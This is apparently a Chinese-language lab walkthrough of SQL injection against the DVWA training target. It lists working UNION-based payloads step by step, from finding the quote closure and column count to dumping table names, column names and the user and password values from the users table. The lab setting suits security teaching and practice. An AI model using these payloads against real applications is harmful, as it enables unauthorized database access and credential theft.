本次注入的是DVWA靶场的SQL injection
1.判断是字符型注入还是数字型注入,构造SQL语句
1 and 1=2
由此可以判断出为字符型注入
2.考虑闭合方式,先随便丢一个单引号试试看看报错提示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
根据报错提示可以看出是引号进行包括的值
3.判断输出的列数,使用order by函数与二分法
可以判断出列数为2
4.联合查询,尝试查看内容回显的地方
构造SQL语句 -1' union select 1,2 #
可以看到回显内容的地方是First name与Surname
查询出数据库 -1' union select 1,database() #
查询出数据表-1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema='dvwa' #
得到两个值去hex解码分别是 guestbook,users这两个也是DVWA数据库下面的所有表名,根据表的名字就可以判断出账号与密码存储在了users这个表里面,所以我们要对这个表进行查询,查询这个表里面的所有字段,开始构造SQL语句
-1' union select 1,group_concat(hex(column_name)) from information_schema.columns where table_schema='dvwa' and table_name='users' #
得到了表下面的所有字段内容
对这些内容分别进行解码,将要查询的字段提取出来,分别是user与password,再次构造SQL语句对这两个字段的内容进行查询
-1' union select 1,group_concat(user,'-',password) from dvwa.users #
成功注入出账号与密码。